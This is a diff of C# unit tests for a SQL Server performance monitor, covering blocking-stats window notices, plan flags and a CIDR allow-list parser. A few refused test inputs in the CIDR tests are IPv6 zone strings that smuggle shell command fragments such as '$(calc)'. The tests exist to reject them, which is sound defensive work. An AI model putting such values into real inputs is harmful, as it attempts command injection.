+        static DataTable Keyed(params (int Ordinal, object Value)[] values)
+        {
+            var table = Table(35, [0, .. XeStamps]);
+            table.Columns.Add("c35", typeof(DateTime));
+            table.Columns.Add("c36", typeof(long));
+            AddRow(table, [(0, Naive(2026, 11, 2, 15)), .. values]);
+            return table;
+        }
+
+        var keyed = ReadXe(Keyed((35, Naive(2026, 11, 2, 15, 1)), (36, 4242L)), Eastern());
+        Assert.Equal(Naive(2026, 11, 2, 15, 1), keyed.CollectionTime);
+        Assert.Equal(4242L, keyed.BlockedReportId);
+        Assert.False(keyed.HasBlockedPlan);
+        Assert.False(keyed.HasBlockingPlan);
+
+        var nulls = ReadXe(Keyed(), Eastern());
+        Assert.Null(nulls.CollectionTime);
+        Assert.Null(nulls.BlockedReportId);
+
+        var dmvTable = DmvTable();
+        AddRow(dmvTable, (0, Naive(2026, 3, 9, 15)));
+        var dmv = ReadDmv(dmvTable, Eastern());
+        Assert.Null(dmv.CollectionTime);
+        Assert.Null(dmv.BlockedReportId);
+        Assert.False(dmv.HasBlockedPlan);
+        Assert.False(dmv.HasBlockingPlan);
+    }
+
+    /// <summary>
+    /// #5236: the flag read answers per (collection_time, blocked_report_id) pair and the rows take their own pair's answer. A
+    /// row with no entry (purged between the two statements) and a row with no key (a DMV snapshot) keep both flags false.
+    /// </summary>
+    [Fact]
+    public void ApplyBlockedPlanFlags_GivesEachRowItsOwnPairsAnswer()
+    {
+        static DarlingBlockingReader.BlockedProcessReadRow Row(DateTime? time, long? id) => new() { CollectionTime = time, BlockedReportId = id };
+
+        var t1 = Naive(2026, 11, 2, 15, 1);
+        var t2 = Naive(2026, 11, 2, 15, 2);
+        var both = Row(t1, 1);
+        var blockedOnly = Row(t1, 2);
+        var blockingOnly = Row(t2, 1);
+        var neither = Row(t2, 2);
+        var purged = Row(t2, 3);
+        var dmv = Row(null, null);
+
+        DarlingBlockingReader.ApplyBlockedPlanFlags(
+            [both, blockedOnly, blockingOnly, neither, purged, dmv],
+            new System.Collections.Generic.Dictionary<(DateTime Time, long Id), (bool Blocked, bool Blocking)>
+            {
+                [(t1, 1)] = (true, true),
+                [(t1, 2)] = (true, false),
+                [(t2, 1)] = (false, true),
+                [(t2, 2)] = (false, false),
+            });
+
+        Assert.True(both.HasBlockedPlan);
+        Assert.True(both.HasBlockingPlan);
+        Assert.True(blockedOnly.HasBlockedPlan);
+        Assert.False(blockedOnly.HasBlockingPlan);
+        Assert.False(blockingOnly.HasBlockedPlan);
+        Assert.True(blockingOnly.HasBlockingPlan);
+        Assert.False(neither.HasBlockedPlan);
+        Assert.False(neither.HasBlockingPlan);
+        Assert.False(purged.HasBlockedPlan);
+        Assert.False(purged.HasBlockingPlan);
+        Assert.False(dmv.HasBlockedPlan);
+        Assert.False(dmv.HasBlockingPlan);
+    }
+
+    /// <summary>#5236: the deadlock page's victim-plan flag, keyed the same way.</summary>
+    [Fact]
+    public void ApplyVictimPlanFlags_GivesEachRowItsOwnPairsAnswer()
+    {
+        var t1 = Naive(2026, 11, 2, 15, 1);
+        var withPlan = new DarlingBlockingReader.DeadlockReadRow { CollectionTime = t1, DeadlockId = 7 };
+        var withoutPlan = new DarlingBlockingReader.DeadlockReadRow { CollectionTime = t1, DeadlockId = 8 };
+        var purged = new DarlingBlockingReader.DeadlockReadRow { CollectionTime = t1, DeadlockId = 9 };
+        var unkeyed = new DarlingBlockingReader.DeadlockReadRow { CollectionTime = t1 };
+
+        DarlingBlockingReader.ApplyVictimPlanFlags(
+            [withPlan, withoutPlan, purged, unkeyed],
+            new System.Collections.Generic.Dictionary<(DateTime Time, long Id), bool> { [(t1, 7)] = true, [(t1, 8)] = false });
+
+        Assert.True(withPlan.HasVictimPlan);
+        Assert.False(withoutPlan.HasVictimPlan);
+        Assert.False(purged.HasVictimPlan);
+        Assert.False(unkeyed.HasVictimPlan);
+    }
+
     [Fact]
     public void TheEventTime_IsAlreadyUtcOnBothArms_AndIsNotConverted()
     {
diff --git a/Darling/Darling.Tests/DarlingBlockingStatsReadTests.cs b/Darling/Darling.Tests/DarlingBlockingStatsReadTests.cs
index 0ff6902d75..1998ba0b8c 100644
--- a/Darling/Darling.Tests/DarlingBlockingStatsReadTests.cs
+++ b/Darling/Darling.Tests/DarlingBlockingStatsReadTests.cs
@@ -7,11 +7,14 @@
  */
 
 using System;
+using System.Linq;
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -82,7 +85,10 @@ public async Task DeadlockCaptureAlone_CountsAsCaptured_AgainstDevPostgres()
             var healthyDoc = JsonDocument.Parse(healthy);
             Assert.Equal("empty", healthyDoc.RootElement.GetProperty("status").GetString());
             var healthyText = healthyDoc.RootElement.GetProperty("message").GetString()!;
-            Assert.Contains("genuinely clear", healthyText, StringComparison.Ordinal);
+            /* #4966: the store's only run is 20 minutes old, so a 24-hour window is CUT, and a cut window may not say clear. */
+            Assert.True(healthyDoc.RootElement.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Equal($"No blocking or deadlocks recorded for {ServerName} in the last 24 hour(s). {McpHelpers.CutWindowNothingMessage}", healthyText);
+            Assert.NotEqual(JsonValueKind.Null, healthyDoc.RootElement.GetProperty("hints").GetProperty("effective_start").ValueKind);
             Assert.DoesNotContain("NEVER", healthyText, StringComparison.Ordinal);
 
             /*
@@ -98,6 +104,8 @@ public async Task DeadlockCaptureAlone_CountsAsCaptured_AgainstDevPostgres()
             var quiet = await DarlingMcpDataTools.GetBlockingStats(dataSource, ServerName, 1);
             var quietDoc = JsonDocument.Parse(quiet);
             Assert.Equal("empty", quietDoc.RootElement.GetProperty("status").GetString());
+            /* #4966: a deadlock 48 hours old reaches back past the one-hour window, so it is covered and keeps the clear sentence. */
+            Assert.False(quietDoc.RootElement.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
             Assert.Contains("genuinely clear", quietDoc.RootElement.GetProperty("message").GetString()!, StringComparison.Ordinal);
 
             /* ── in-window deadlock: severity sums EVERY process, not just the victim ── */
@@ -123,6 +131,173 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /* ── #4966: the data-start notice. Two separate series (blocking, deadlocks), one notice at the LATER of their floors. ── */
+
+    private static readonly string[] WindowTables = ["blocked_process_reports", "dmv_blocking_snapshots", "deadlocks"];
+    private static readonly string[] WindowCollectors = ["blocked_process_reports", "dmv_blocking_snapshots", "deadlocks"];
+
+    private static string WindowName(string w) => "blocking-stats-window-" + w;
+
+    private static Task<string> CallWindowAsync(NpgsqlDataSource ds, string w, int hours, DateTime end) =>
+        DarlingMcpDataTools.GetBlockingStats(ds, WindowName(w), hours, WebDataStartNote.FormatWindowEnd(end));
+
+    private static Task RunWindowAsync(string w, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionString, WindowCollectors, [WindowName(w)], WindowTables, body);
+
+    /* Registered at `created`: both series share that floor, and an event stamped before it is what moves one series' floor earlier. */
+    private static Task SeedWindowAsync(NpgsqlConnection c, string w, DateTime end, DateTime created) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, WindowName(w), created, "blocked_process_report", null, 30, end, WindowTables, TestContext.Current.CancellationToken);
+
+    private static Task SeedBprAsync(NpgsqlConnection c, string w, DateTime eventTime, DateTime collectedAt) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            "INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms) VALUES ($1,$2,$3,$4,$5,'d',50,90,8000)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectedAt), ServerIdHelper.GetDeterministicHashCode(WindowName(w)), WindowName(w), DarlingMcpTestData.Naive(eventTime));
+
+    private static Task SeedDmvAsync(NpgsqlConnection c, string w, DateTime eventTime, DateTime collectedAt) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            "INSERT INTO dmv_blocking_snapshots (collection_id, collection_time, server_id, server_name, monitor_loop, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms) VALUES ($1,$2,$3,$4,-1,$5,'d',50,90,3000)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectedAt), ServerIdHelper.GetDeterministicHashCode(WindowName(w)), WindowName(w), DarlingMcpTestData.Naive(eventTime));
+
+    private static Task SeedDeadlockWindowAsync(NpgsqlConnection c, string w, DateTime at, DateTime collectedAt) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            "INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml) VALUES ($1,$2,$3,$4,$5,'p1','x',$6)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectedAt), ServerIdHelper.GetDeterministicHashCode(WindowName(w)), WindowName(w), DarlingMcpTestData.Naive(at), GraphXml);
+
+    private static string Start(DateTime t) => McpHelpers.FormatEffectiveStart(t);
+
+    [Fact]
+    public async Task BlockingCoveredFromBefore_DeadlocksStartInside_NamesTheDeadlockStart_AgainstDevPostgres() =>
+        await RunWindowAsync("bc", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "bc", end, end.AddHours(-10));
+            await SeedBprAsync(c, "bc", end.AddHours(-11), end.AddHours(-9));
+            await SeedDeadlockWindowAsync(c, "bc", end.AddHours(-1), end.AddHours(-1));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "bc", 168, end));
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(Start(end.AddHours(-10)), root.GetProperty("effective_start").GetString());
+            Assert.Contains("blocked_process_report", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.Contains("deadlocks", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        });
+
+    [Fact]
+    public async Task DeadlocksCoveredFromBefore_BlockingStartsInside_NamesTheBlockingStart_AgainstDevPostgres() =>
+        await RunWindowAsync("dc", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "dc", end, end.AddHours(-12));
+            await SeedDeadlockWindowAsync(c, "dc", end.AddHours(-13), end.AddHours(-11));
+            await SeedBprAsync(c, "dc", end.AddHours(-1), end.AddHours(-1));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "dc", 168, end));
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(Start(end.AddHours(-12)), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task TheLaterOfTheTwoFloors_Wins_AgainstDevPostgres() =>
+        await RunWindowAsync("later", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "later", end, end.AddHours(-5));
+            await SeedBprAsync(c, "later", end.AddHours(-30), end.AddHours(-4));
+            await SeedDeadlockWindowAsync(c, "later", end.AddHours(-20), end.AddHours(-4));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "later", 168, end));
+            Assert.Equal(Start(end.AddHours(-20)), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task DeadlockRowsOnly_IsADataAnswer_WithTheDeadlockFloor_AgainstDevPostgres() =>
+        await RunWindowAsync("donly", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "donly", end, end.AddHours(-6));
+            await SeedDeadlockWindowAsync(c, "donly", end.AddHours(-2), end.AddHours(-6));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "donly", 168, end));
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.Equal(Start(end.AddHours(-6)), root.GetProperty("effective_start").GetString());
+            Assert.Equal(1, root.GetProperty("deadlock_severity").GetArrayLength());
+        });
+
+    [Fact]
+    public async Task XeEarlyDmvLate_GivesTheXeStartAsTheBlockingFloor_AgainstDevPostgres() =>
+        await RunWindowAsync("xedmv", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "xedmv", end, end.AddHours(-3));
+            await SeedBprAsync(c, "xedmv", end.AddHours(-20), end.AddHours(-2));
+            await SeedDmvAsync(c, "xedmv", end.AddHours(-2), end.AddHours(-2));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "xedmv", 168, end));
+            Assert.Equal(Start(end.AddHours(-20)), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task BothCovered_GivesNoNotice_AgainstDevPostgres() =>
+        await RunWindowAsync("both", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "both", end, end.AddDays(-30));
+            await SeedBprAsync(c, "both", end.AddDays(-5), end.AddDays(-5));
+            await SeedBprAsync(c, "both", end.AddHours(-2), end.AddHours(-2));
+            await SeedDeadlockWindowAsync(c, "both", end.AddDays(-5), end.AddDays(-5));
+            await SeedDeadlockWindowAsync(c, "both", end.AddHours(-2), end.AddHours(-2));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "both", 72, end));
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+            Assert.True(names.IndexOf("truncation_note") < names.IndexOf("blocking_duration"));
+        });
+
+    [Fact]
+    public async Task AnEventOlderThanItsCollection_MovesTheFloorEarlier_AgainstDevPostgres() =>
+        await RunWindowAsync("early", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "early", end, end.AddHours(-10));
+            /* Collected ten hours ago, but the event happened eleven and a half hours ago. */
+            await SeedBprAsync(c, "early", end.AddHours(-11).AddMinutes(-30), end.AddHours(-10));
+            await SeedDeadlockWindowAsync(c, "early", end.AddHours(-11).AddMinutes(-30), end.AddHours(-10));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "early", 12, end));
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        });
+
+    [Fact]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesHints_AgainstDevPostgres() =>
+        await RunWindowAsync("empty", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "empty", end, end.AddHours(-2));
+            await DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+                "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) VALUES ($1,$2,$3,'blocked_process_report',$4,10,'SUCCESS',0)",
+                CollectionIdGenerator.Next(), ServerIdHelper.GetDeterministicHashCode(WindowName("empty")), WindowName("empty"), DarlingMcpTestData.Naive(end.AddMinutes(-5)));
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "empty", 6, end));
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(Start(end.AddHours(-2)), hints.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() =>
+        await RunWindowAsync("short", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "short", end, end.AddDays(-30));
+            await SeedBprAsync(c, "short", end.AddMinutes(-20), end.AddMinutes(-20));
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "short", 1, end));
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(1, root.GetProperty("blocking_duration").GetArrayLength());
+        });
+
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() =>
+        await RunWindowAsync("probefail", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "probefail", end, end.AddDays(-2));
+            await SeedBprAsync(c, "probefail", end.AddHours(-3), end.AddHours(-3));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 168, end));
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.Equal(1, root.GetProperty("blocking_duration").GetArrayLength());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+        });
+
     private static DateTime MinutesAgo(int minutes) =>
         DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow.AddMinutes(-minutes));
 
diff --git a/Darling/Darling.Tests/DarlingBlockingTrendEmptyTests.cs b/Darling/Darling.Tests/DarlingBlockingTrendEmptyTests.cs
index f3df6a7518..a884da5ce4 100644
--- a/Darling/Darling.Tests/DarlingBlockingTrendEmptyTests.cs
+++ b/Darling/Darling.Tests/DarlingBlockingTrendEmptyTests.cs
@@ -71,6 +71,8 @@ public async Task NeverCollected_AGapInTheWindow_AndAGenuineAllClear_AreThreeDif
             var never = await DarlingMcpBlockingTools.GetBlockingTrend(dataSource, ServerName, 4);
             var neverRoot = JsonDocument.Parse(never).RootElement;
             Assert.Equal("unavailable", neverRoot.GetProperty("status").GetString());
+            /* #5244: the empty answer names no collector, and says so with the same key a data answer uses (get_blocking_stats gives null too). */
+            Assert.Equal(JsonValueKind.Null, neverRoot.GetProperty("source").ValueKind);
             var neverText = neverRoot.GetProperty("message").GetString()!;
             Assert.Contains("NOT an all-clear", neverText, StringComparison.Ordinal);
             Assert.Contains("EVER", neverText, StringComparison.Ordinal);
@@ -98,6 +100,8 @@ public async Task NeverCollected_AGapInTheWindow_AndAGenuineAllClear_AreThreeDif
             var clear = await DarlingMcpBlockingTools.GetBlockingTrend(dataSource, ServerName, 4);
             var clearRoot = JsonDocument.Parse(clear).RootElement;
             Assert.Equal("empty", clearRoot.GetProperty("status").GetString());
+            /* #5244: the empty answer names no collector, and says so with the same key a data answer uses (get_blocking_stats gives null too). */
+            Assert.Equal(JsonValueKind.Null, clearRoot.GetProperty("source").ValueKind);
             var clearText = clearRoot.GetProperty("message").GetString()!;
             Assert.Contains("genuine all-clear", clearText, StringComparison.Ordinal);
 
@@ -215,6 +219,8 @@ told its empty deadlock trend is an all-clear. */
             var clear = JsonDocument.Parse(
                 await DarlingMcpBlockingTools.GetDeadlockTrend(dataSource, ServerName, 4)).RootElement;
             Assert.Equal("empty", clear.GetProperty("status").GetString());
+            /* The deadlock trend has no collector choice, so it carries no source key. */
+            Assert.False(clear.TryGetProperty("source", out _));
             var clearText = clear.GetProperty("message").GetString()!;
             Assert.Contains("genuine all-clear", clearText, StringComparison.Ordinal);
             Assert.DoesNotContain("EVER", clearText, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/DarlingCidrAllowListTests.cs b/Darling/Darling.Tests/DarlingCidrAllowListTests.cs
new file mode 100644
index 0000000000..b899dc18e4
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingCidrAllowListTests.cs
@@ -0,0 +1,418 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5288: <see cref="CidrAllowList"/>, the ONE parser behind <c>mcp.network.allowFrom</c> and
+/// <c>web.network.allowFrom</c> (one CIDR or a list), and <see cref="CidrListJsonConverter"/>, which lets
+/// darling.json spell the list as a string or an array of strings. The gate and the bind ladder are pinned
+/// beside their own suites (<see cref="DarlingHostBindingTests"/>, <see cref="DarlingAllowFromListGateTests"/>);
+/// this class pins the type's own contract: how text parses, what the canonical text is, what the type's
+/// DEFAULT does (nothing is admitted), and the converter's accepted and refused shapes.
+/// </summary>
+public sealed class DarlingCidrAllowListTests
+{
+    private static CidrAllowList Parsed(string text)
+    {
+        Assert.True(CidrAllowList.TryParse(text, out var list), $"'{text}' should parse");
+        return list;
+    }
+
+    /* ---- parse: one CIDR is exactly what it was before the list existed ---- */
+
+    [Theory]
+    [InlineData("192.168.1.0/24")]
+    [InlineData(" 192.168.1.0/24 ")]
+    [InlineData("2001:db8::/32")]
+    [InlineData("203.0.113.9/32")]
+    [InlineData("0.0.0.0/0")]      // allow-all IPv4 is a legal entry the operator writes on purpose
+    public void TryParse_OneCidr_IsOneEntry_AndItsTextIsWhatIPNetworkGave(string text)
+    {
+        var list = Parsed(text);
+
+        Assert.Equal(1, list.Count);
+        Assert.Equal(IPNetwork.Parse(text.Trim()).ToString(), list.ToString());
+    }
+
+    [Fact]
+    public void TryParse_CommaString_KeepsEveryEntryInOrder()
+    {
+        var list = Parsed("10.8.0.0/16,192.168.1.5/32");
+
+        Assert.Equal(2, list.Count);
+        Assert.Equal("10.8.0.0/16", list.Entries[0].ToString());
+        Assert.Equal("192.168.1.5/32", list.Entries[1].ToString());
+        Assert.Equal("10.8.0.0/16,192.168.1.5/32", list.ToString());
+    }
+
+    [Fact]
+    public void TryParse_WhitespaceAroundEntries_IsTrimmed()
+        => Assert.Equal("10.8.0.0/16,192.168.1.5/32", Parsed("  10.8.0.0/16 ,\t192.168.1.5/32  ").ToString());
+
+    [Fact]
+    public void TryParse_MixedFamilies_ParseHere_TheFamilyRuleBelongsToTheBindLadder()
+    {
+        /* The parser does not know the listen address, so it cannot apply the family rule. It reports each
+           entry's family, and ResolveBind refuses a list with a wrong-family entry. */
+        var list = Parsed("10.8.0.0/16,2001:db8::/32");
+
+        Assert.Equal(2, list.Count);
+        Assert.False(list.AllInFamily(AddressFamily.InterNetwork));
+        Assert.False(list.AllInFamily(AddressFamily.InterNetworkV6));
+        Assert.True(Parsed("10.8.0.0/16,192.168.1.0/24").AllInFamily(AddressFamily.InterNetwork));
+        Assert.True(Parsed("2001:db8::/32,fd00::/8").AllInFamily(AddressFamily.InterNetworkV6));
+    }
+
+    /* ---- parse: what is refused ---- */
+
+    [Theory]
+    [InlineData("192.168.1.0/24,")]               // a trailing comma leaves an empty entry
+    [InlineData(",192.168.1.0/24")]
+    [InlineData("192.168.1.0/24,,10.8.0.0/16")]
+    [InlineData("192.168.1.0/24, ")]
+    [InlineData(" , ")]
+    [InlineData(",")]
+    public void TryParse_EmptyEntry_IsRefused_NotSkipped(string text)
+    {
+        Assert.False(CidrAllowList.TryParse(text, out var list));
+        Assert.Equal("", list.ToString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public void TryParse_NullEmptyOrBlank_IsRefused(string? text)
+        => Assert.False(CidrAllowList.TryParse(text, out _));
+
+    [Theory]
+    [InlineData("not-a-cidr")]
+    [InlineData("192.168.1.0")]                    // an address with no prefix: CIDR form only
+    [InlineData("192.168.1.0/33")]                 // impossible IPv4 prefix length
+    [InlineData("2001:db8::/129")]
+    [InlineData("192.168.1.0/24,garbage")]         // ONE bad entry refuses the whole list
+    [InlineData("192.168.1.0/24,10.8.0.0")]
+    [InlineData("192.168.1.0/24;10.8.0.0/16")]     // the separator is a comma, nothing else
+    [InlineData("192.168.1.0/24 10.8.0.0/16")]
+    public void TryParse_NotACidr_IsRefused(string text)
+        => Assert.False(CidrAllowList.TryParse(text, out _));
+
+    [Fact]
+    public void TryParse_Duplicates_AreDropped_AndFirstSeenOrderIsKept()
+    {
+        Assert.Equal("10.0.0.0/8,192.168.0.0/16", Parsed("10.0.0.0/8,192.168.0.0/16,10.0.0.0/8").ToString());
+        Assert.Equal("192.168.0.0/16,10.0.0.0/8", Parsed("192.168.0.0/16,10.0.0.0/8,192.168.0.0/16").ToString());
+        Assert.Equal(1, Parsed("10.0.0.0/8, 10.0.0.0/8").Count);
+    }
+
+    [Fact]
+    public void TryParse_HostBits_AreMasked_AndTheCanonicalTextShowsIt()
+    {
+        /* IPNetwork.TryParse masks host bits instead of refusing them, and the list keeps accepting them (the
+           pre-list behavior). What changed is visibility: ToString() is what the start line prints, so a
+           masked entry reads as the range that is actually enforced. */
+        Assert.Equal("192.168.1.0/24", Parsed("192.168.1.5/24").ToString());
+        Assert.Equal("10.0.0.0/8", Parsed("10.1.2.3/8").ToString());
+
+        /* A masked entry that collapses onto an existing one is a duplicate. */
+        Assert.Equal("10.0.0.0/8", Parsed("10.1.2.3/8,10.0.0.0/8").ToString());
+    }
+
+    /* ---- an address written any way but four plain decimal numbers is refused, not read as another address ---- */
+
+    [Fact]
+    public void TryParse_NonCanonicalIPv4_Premise_IPNetworkReadsEachSpellingAsADifferentRange()
+    {
+        /* Why the refusal below exists: IPNetwork.TryParse follows inet_aton, so a leading zero is octal, 0x is
+           hex and a short form is zero-padded. Each of these parses, as a range other than the one it reads as. */
+        Assert.Equal("192.168.8.0/24", IPNetwork.Parse("192.168.010.0/24").ToString());
+        Assert.Equal("8.0.0.0/8", IPNetwork.Parse("010.0.0.0/8").ToString());
+        Assert.Equal("0.0.0.0/8", IPNetwork.Parse("10/8").ToString());
+        Assert.Equal("10.0.0.0/16", IPNetwork.Parse("10.1/16").ToString());
+        Assert.Equal("10.0.0.0/8", IPNetwork.Parse("0x0A.0.0.0/8").ToString());
+    }
+
+    [Theory]
+    [InlineData("010.0.0.0/8")]            // a leading zero reads as octal (010 = 8)
+    [InlineData("192.168.010.0/24")]
+    [InlineData("10/8")]                   // a short form is zero-padded
+    [InlineData("10.1/16")]
+    [InlineData("0x0A.0.0.0/8")]           // 0x reads as hex
+    [InlineData("1.2.3.04/32")]
+    public void TryParse_NonCanonicalIPv4_IsRefused(string text)
+    {
+        Assert.False(CidrAllowList.TryParse(text, out var list));
+        Assert.Equal("", list.ToString());
+
+        /* Refused wherever it sits in a list: one bad entry refuses the whole list. */
+        Assert.False(CidrAllowList.TryParse($"10.8.0.0/16,{text}", out _));
+        Assert.False(CidrAllowList.TryParse($"{text},10.8.0.0/16", out _));
+    }
+
+    [Theory]
+    [InlineData("0.0.0.0/0")]
+    [InlineData("10.0.0.0/8")]
+    [InlineData("192.168.1.5/24")]         // host bits are masked afterwards, never refused
+    [InlineData("255.255.255.255/32")]
+    [InlineData("100.64.0.0/10")]
+    [InlineData("1.2.3.0/24")]
+    public void TryParse_PlainDecimalIPv4_IsAccepted(string text)
+        => Assert.True(CidrAllowList.TryParse(text, out _));
+
+    [Theory]
+    [InlineData("fe80::1%5/64")]
+    [InlineData("fe80::1%eth0/64")]
+    [InlineData("fe80::%5/64")]            // IPNetwork even keeps this zone in its own text
+    [InlineData("fe80::1%x';calc;'/64")]   // a zone is free text, so it must not survive the parse
+    [InlineData("fe80::1%a b/64")]
+    [InlineData("fe80::1%$(calc)/64")]
+    [InlineData("10.8.0.0/16,fe80::1%5/64")]
+    public void TryParse_IPv6ZoneIndex_IsRefused(string text)
+    {
+        Assert.False(CidrAllowList.TryParse(text, out var list));
+        Assert.Equal("", list.ToString());
+    }
+
+    [Theory]
+    [InlineData("64:ff9b::192.0.2.33/96", "64:ff9b::/96")]
+    [InlineData("64:ff9b::1.2.3.4/96,10.8.0.0/16", "64:ff9b::/96,10.8.0.0/16")]
+    public void TryParse_IPv6DottedTail_FourPlainNumbers_IsAccepted(string text, string expected)
+        => Assert.Equal(expected, Parsed(text).ToString());
+
+    [Theory]
+    [InlineData("64:ff9b::192.0.2.033/96")]   // the dotted tail follows the same rule as an IPv4 entry
+    [InlineData("64:ff9b::1.2.3.04/96")]
+    public void TryParse_IPv6DottedTail_WithALeadingZero_IsRefused(string text)
+        => Assert.False(CidrAllowList.TryParse(text, out _));
+
+    /* ---- F6: an IPv4-mapped IPv6 entry is refused ---- */
+
+    [Fact]
+    public void CidrAllowList_MappedEntry_PremiseHolds_IPNetworkParsesItAndItMatchesNoIPv4Address()
+    {
+        /* Why the refusal below exists: IPNetwork happily parses a mapped base address, and such a network
+           matches NO IPv4 address, because IsRemoteAddressAllowed maps a mapped REMOTE to IPv4 before it
+           tests the list. On an IPv6 listen the entry would pass the family rule and then never match:
+           silent dead config. */
+        Assert.True(IPNetwork.TryParse("::ffff:10.0.0.0/104", out var network));
+        Assert.True(network.BaseAddress.IsIPv4MappedToIPv6);
+        Assert.False(network.Contains(IPAddress.Parse("10.0.0.5")));
+    }
+
+    [Theory]
+    [InlineData("::ffff:10.0.0.0/104")]
+    [InlineData("::ffff:192.168.1.5/128")]
+    [InlineData("::ffff:0:0/96")]
+    [InlineData("10.8.0.0/16,::ffff:10.0.0.0/104")]   // refused wherever it sits in the list
+    [InlineData("::ffff:10.0.0.0/104,10.8.0.0/16")]
+    [InlineData("2001:db8::/32,::ffff:10.0.0.0/104")]
+    public void CidrAllowList_MappedEntry_IsRefused(string text)
+        => Assert.False(CidrAllowList.TryParse(text, out _));
+
+    /* ---- Parse, Contains, the IPNetwork conversion ---- */
+
+    [Fact]
+    public void Parse_ValidText_ReturnsTheList_InvalidText_ThrowsFormatException()
+    {
+        Assert.Equal("10.8.0.0/16,192.168.1.0/24", CidrAllowList.Parse("10.8.0.0/16, 192.168.1.0/24").ToString());
+        Assert.Throws<FormatException>(() => CidrAllowList.Parse("10.8.0.0/16,"));
+        Assert.Throws<FormatException>(() => CidrAllowList.Parse(""));
+    }
